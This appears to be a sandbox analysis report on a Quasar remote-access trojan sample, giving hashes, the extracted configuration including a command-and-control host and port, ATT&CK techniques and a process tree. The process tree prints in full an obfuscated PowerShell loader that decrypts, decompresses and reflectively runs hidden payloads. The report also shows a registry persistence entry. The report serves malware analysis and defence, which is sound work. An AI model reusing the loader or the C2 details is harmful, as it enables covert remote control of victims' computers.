quasar | eeabb046cfd98e9a3a1addec48ebc458739a8732de54a885273806c6d699cbe3

Analysis

max time kernel
135s
max time network
202s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
04/05/2024, 23:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
BOTNET.exe
Size 1.5MB
Sample240504-21jeesee31
SHA256 eeabb046cfd98e9a3a1addec48ebc458739a8732de54a885273806c6d699cbe3
MD5 3f7cba8cce5c03a2c007d2316e356897
SHA1 310228e6d3f25e2a3e79b9a02eb937c3c3b3ff56
SHA512 90b92b8a71ad47ca3a497017ac1f97867c5b54ca3d11718fe03ff657c169c9bb913e2a31a0ebcef39269601215f09c6c5a5a058ef8c1de7a9877ee73a5ea0f26
SSDEEP 24576:hGyD5dhNcAPYZqxQbwbmUDXEDuPopYBR/7bEK0V5veFxZT4F9bieVIsj:fDXzlEDKTbH0yFqBieVIs
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar office04 execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

paper-sitemap.gl.at.ply.gg:34451

Mutex

aac5ca78-08ee-466b-b76a-a222e6968dcb

Attributes

encryption_key
C6F8FC1FACDC33647F2C8892E17F3A76138E3780
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2984-18-0x000002514CD10000-0x000002514D034000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

flow	pid	Process
17	2984	powershell.exe
28	2984	powershell.exe
30	2984	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2984	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	BOTNET.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2376	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2984	powershell.exe
2984	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2984	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 1708	2072	BOTNET.exe	82
PID 2072 wrote to memory of 1708	2072	BOTNET.exe	82
PID 1708 wrote to memory of 2984	1708	cmd.exe	90
PID 1708 wrote to memory of 2984	1708	cmd.exe	90
PID 2984 wrote to memory of 2068	2984	powershell.exe	114
PID 2984 wrote to memory of 2068	2984	powershell.exe	114
PID 2068 wrote to memory of 2308	2068	cmd.exe	116
PID 2068 wrote to memory of 2308	2068	cmd.exe	116
PID 2068 wrote to memory of 2376	2068	cmd.exe	117
PID 2068 wrote to memory of 2376	2068	cmd.exe	117

C:\Users\Admin\AppData\Local\Temp\BOTNET.exe
"C:\Users\Admin\AppData\Local\Temp\BOTNET.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2072
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "Client-built.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JZRSzmkPDXR9xk48FH2ObphiIF6YvOLTfmpQ/y5EC1Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j5BjsjVTKjdvJkDCmYmzNQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $iLfcx=New-Object System.IO.MemoryStream(,$param_var); $zFXcX=New-Object System.IO.MemoryStream; $QpHvq=New-Object System.IO.Compression.GZipStream($iLfcx, [IO.Compression.CompressionMode]::Decompress); $QpHvq.CopyTo($zFXcX); $QpHvq.Dispose(); $iLfcx.Dispose(); $zFXcX.Dispose(); $zFXcX.ToArray();}function execute_function($param_var,$param2_var){ $OEdCE=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sShBM=$OEdCE.EntryPoint; $sShBM.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Client-built.bat';$eYDZC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Client-built.bat').Split([Environment]::NewLine);foreach ($aXSCn in $eYDZC) { if ($aXSCn.StartsWith(':: ')) { $uzipA=$aXSCn.Substring(3); break; }}$payloads_var=[string[]]$uzipA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2984
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pul124jM5UE0.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2068
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2308
    - - C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        5⤵
        Runs ping.exe
        
        PID:2376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Client-built.bat

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Client-built.bat
Size 1.8MB
SHA256 19934bc1e7a8c055f2d14c940f8a9a53e2bc14800103f3b54dfbc342c3904a6d
MD5 b840cf2348a3baeee518520f93655ac0
SHA1 0688b0912b1b0dab021dd2c97894328281bc0492
SHA512 175a67affc51c223ec8d487801092985d54d62fd5197cb0e27b43adc1a714959b898e5705806fb91a49acdac36726189520a6ce6f7ae38fd23e32b7d45ad86da
SSDEEP 24576:1w8Txlsp316oUELbwdcO3jPyPj3M9P093pmiior1obFlsHQAUyyBpf/b17haGD7h:1HtLeucKPyM+YQHoyy7bDpZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_5go4l1ck.tbv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5go4l1ck.tbv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

pul124jM5UE0.bat

Path C:\Users\Admin\AppData\Local\Temp\pul124jM5UE0.bat
Size 220B
SHA256 67d55236b2263fbe0d784a81fb5e0f31de037c873bc6e54c3969a4ae7a2fbf4a
MD5 b2930b2ffc2dde011aa672d2aa02f942
SHA1 787267591c13df4197592c83f4a47bca148b98a9
SHA512 bfb3bb09d470ac5d3f350a593a7fff702ff5b58d388ed01358b8d0fcddca5d2e7dd7abbce385d6aacb632193dc0aae5751b3362aaa776cab468a1a165997f5a9
MD5 SHA1 SHA512

Submit Download

memory/2984-20-0x000002514D5A0000-0x000002514D5F0000-memory.dmp

Download

memory/2984-22-0x000002514DED0000-0x000002514E092000-memory.dmp

Download

memory/2984-15-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp

Download

memory/2984-16-0x000002514C850000-0x000002514C858000-memory.dmp

Download

memory/2984-17-0x000002514CBB0000-0x000002514CD08000-memory.dmp

Download

memory/2984-18-0x000002514CD10000-0x000002514D034000-memory.dmp

Download

memory/2984-19-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp

Download

memory/2984-5-0x000002514C860000-0x000002514C882000-memory.dmp

Download

memory/2984-21-0x000002514D6B0000-0x000002514D762000-memory.dmp

Download

memory/2984-14-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp

Download

memory/2984-25-0x000002514D5F0000-0x000002514D602000-memory.dmp

Download

memory/2984-26-0x000002514D650000-0x000002514D68C000-memory.dmp

Download

memory/2984-27-0x00007FFEE9FA3000-0x00007FFEE9FA5000-memory.dmp

Download

memory/2984-28-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp

Download

memory/2984-29-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp

Download

memory/2984-30-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp

Download

memory/2984-3-0x00007FFEE9FA3000-0x00007FFEE9FA5000-memory.dmp

Download

memory/2984-37-0x00007FFEE9FA0000-0x00007FFEEAA61000-memory.dmp

Download